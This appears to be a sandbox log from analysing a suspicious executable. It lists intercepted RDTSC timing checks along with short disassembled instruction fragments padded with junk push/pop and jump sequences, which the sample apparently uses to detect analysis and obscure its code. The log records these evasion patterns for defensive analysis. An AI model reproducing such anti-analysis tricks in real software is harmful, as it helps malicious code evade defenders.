Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F387 second address: F5F3B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 jmp 00007FEA44C4CABEh 0x0000000d jmp 00007FEA44C4CABDh 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F3B2 second address: F5F3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F3B6 second address: F5F3BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F3BA second address: F5F3C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F3C6 second address: F5F3E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC7h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F3E3 second address: F5F3E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F3E9 second address: F5F3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F565 second address: F5F56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F56B second address: F5F596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEA44C4CAB8h 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FEA44C4CAB6h 0x00000016 jmp 00007FEA44C4CAC5h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F6EE second address: F5F6FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FEA44C7ED46h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63AA2 second address: F63ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FEA44C4CAC6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63ABD second address: F63AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FEA44C7ED55h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 jbe 00007FEA44C7ED46h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FEA44C7ED4Bh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63C7D second address: F63C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA44C4CABDh 0x00000009 js 00007FEA44C4CAB6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65892 second address: F658AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEA44C7ED46h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEA44C7ED4Ch 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F658AD second address: F658C7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEA44C4CAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FEA44C4CABAh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F658C7 second address: F658DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FEA44C7ED4Fh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F741FF second address: F74203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74203 second address: F7420D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7420D second address: F7421D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7421D second address: F74227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FEA44C7ED46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74227 second address: F74230 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7408E second address: F740A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED54h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F715D9 second address: F715E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA44C4CABCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F852D7 second address: F8530B instructions: 0x00000000 rdtsc 0x00000002 js 00007FEA44C7ED48h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FEA44C7ED52h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FEA44C7ED51h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8530B second address: F8530F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C44B second address: F9C451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B716 second address: F9B71A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B71A second address: F9B724 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEA44C7ED46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B724 second address: F9B735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEA44C4CABBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B735 second address: F9B740 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FEA44C7ED46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B8C3 second address: F9B8C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9BD02 second address: F9BD31 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEA44C7ED4Ch 0x00000008 jmp 00007FEA44C7ED59h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9BD31 second address: F9BD35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9BD35 second address: F9BD39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9BD39 second address: F9BD4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FEA44C4CABEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1BF1 second address: FA1BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1BFA second address: FA1C00 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1C00 second address: FA1C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1C06 second address: FA1C16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABBh 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1C16 second address: FA1C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCFF1 second address: EBCFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCFF5 second address: EBCFF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCFF9 second address: EBD007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FEA44C4CABCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20349 second address: 4A20375 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FEA44C7ED4Eh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20375 second address: 4A20379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20379 second address: 4A2037F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2037F second address: 4A203B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, EB81h 0x00000007 mov bh, ah 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov edx, dword ptr [ebp+0Ch] 0x0000000f jmp 00007FEA44C4CAC9h 0x00000014 mov ecx, dword ptr [ebp+08h] 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a mov ecx, 67615899h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A203D6 second address: 4A203DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A203DA second address: 4A203DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A203DE second address: 4A203E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40710 second address: 4A4071F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4071F second address: 4A4074E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEA44C7ED4Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4074E second address: 4A40754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40754 second address: 4A40758 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40758 second address: 4A4083A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FEA44C4CAC5h 0x00000011 sbb esi, 387693C6h 0x00000017 jmp 00007FEA44C4CAC1h 0x0000001c popfd 0x0000001d movzx esi, dx 0x00000020 popad 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FEA44C4CAC6h 0x00000029 and ch, FFFFFF98h 0x0000002c jmp 00007FEA44C4CABBh 0x00000031 popfd 0x00000032 jmp 00007FEA44C4CAC8h 0x00000037 popad 0x00000038 mov dword ptr [esp], ecx 0x0000003b jmp 00007FEA44C4CAC0h 0x00000040 xchg eax, esi 0x00000041 pushad 0x00000042 mov bh, ah 0x00000044 movsx ebx, ax 0x00000047 popad 0x00000048 push eax 0x00000049 pushad 0x0000004a call 00007FEA44C4CABBh 0x0000004f pop edi 0x00000050 pushfd 0x00000051 jmp 00007FEA44C4CAC4h 0x00000056 add cx, 1EB8h 0x0000005b jmp 00007FEA44C4CABBh 0x00000060 popfd 0x00000061 popad 0x00000062 xchg eax, esi 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 movsx edi, ax 0x00000069 jmp 00007FEA44C4CABCh 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4083A second address: 4A40840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40840 second address: 4A4085A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEA44C4CABBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4085A second address: 4A4085E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4085E second address: 4A40864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40864 second address: 4A40873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA44C7ED4Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40873 second address: 4A40884 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx edi, cx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40884 second address: 4A40889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40889 second address: 4A40929 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FEA44C4CAC4h 0x00000013 and eax, 5A082838h 0x00000019 jmp 00007FEA44C4CABBh 0x0000001e popfd 0x0000001f call 00007FEA44C4CAC8h 0x00000024 mov di, cx 0x00000027 pop esi 0x00000028 popad 0x00000029 push dword ptr [ebp+08h] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FEA44C4CAC6h 0x00000035 jmp 00007FEA44C4CAC5h 0x0000003a popfd 0x0000003b call 00007FEA44C4CAC0h 0x00000040 pop esi 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40929 second address: 4A4092F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40979 second address: 4A40997 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007FEA44C4CAE1h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEA44C4CABFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A409B9 second address: 4A409BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A409BD second address: 4A409C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A409C1 second address: 4A409C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A409C7 second address: 4A409CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A409CD second address: 4A409D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A409D1 second address: 4A40A1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FEA44C4CABEh 0x00000013 xor ax, 3B38h 0x00000018 jmp 00007FEA44C4CABBh 0x0000001d popfd 0x0000001e movzx esi, dx 0x00000021 popad 0x00000022 leave 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FEA44C4CABEh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40A1C second address: 4A40A22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40A22 second address: 4A40A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40A26 second address: 4A40017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c sub esp, 04h 0x0000000f xor ebx, ebx 0x00000011 cmp eax, 00000000h 0x00000014 je 00007FEA44C7EEC8h 0x0000001a xor eax, eax 0x0000001c mov dword ptr [esp], 00000000h 0x00000023 mov dword ptr [esp+04h], 00000000h 0x0000002b call 00007FEA489DCD47h 0x00000030 mov edi, edi 0x00000032 jmp 00007FEA44C7ED4Eh 0x00000037 xchg eax, ebp 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40017 second address: 4A4001B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4001B second address: 4A40021 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40021 second address: 4A4004C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 mov si, 91BDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f mov ah, dl 0x00000011 mov ax, 19F1h 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 mov edx, esi 0x0000001a mov cx, EBE5h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 mov esi, 461BB29Dh 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4004C second address: 4A40050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40050 second address: 4A40072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push FFFFFFFEh 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEA44C4CAC7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40072 second address: 4A400CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEA44C7ED4Fh 0x00000009 adc esi, 1A9A286Eh 0x0000000f jmp 00007FEA44C7ED59h 0x00000014 popfd 0x00000015 mov esi, 2B6165F7h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push 1CE9E085h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FEA44C7ED55h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400CB second address: 4A400CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400CF second address: 4A400D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400D5 second address: 4A400F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 6A737ECDh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400F2 second address: 4A400F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400F6 second address: 4A40113 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40113 second address: 4A40134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 1Fh 0x00000005 mov si, 439Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push 1F5153C5h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEA44C7ED4Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40134 second address: 4A40146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA44C4CABEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40146 second address: 4A401E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 69C478B5h 0x00000012 pushad 0x00000013 mov edx, eax 0x00000015 mov ch, 52h 0x00000017 popad 0x00000018 mov eax, dword ptr fs:[00000000h] 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FEA44C7ED59h 0x00000025 xor ch, FFFFFF86h 0x00000028 jmp 00007FEA44C7ED51h 0x0000002d popfd 0x0000002e mov si, 9937h 0x00000032 popad 0x00000033 nop 0x00000034 pushad 0x00000035 mov edx, eax 0x00000037 movzx esi, di 0x0000003a popad 0x0000003b push eax 0x0000003c pushad 0x0000003d mov ecx, 2DBA95C3h 0x00000042 mov ecx, 3CA6CB1Fh 0x00000047 popad 0x00000048 nop 0x00000049 jmp 00007FEA44C7ED52h 0x0000004e sub esp, 18h 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FEA44C7ED57h 0x00000058 rdtsc
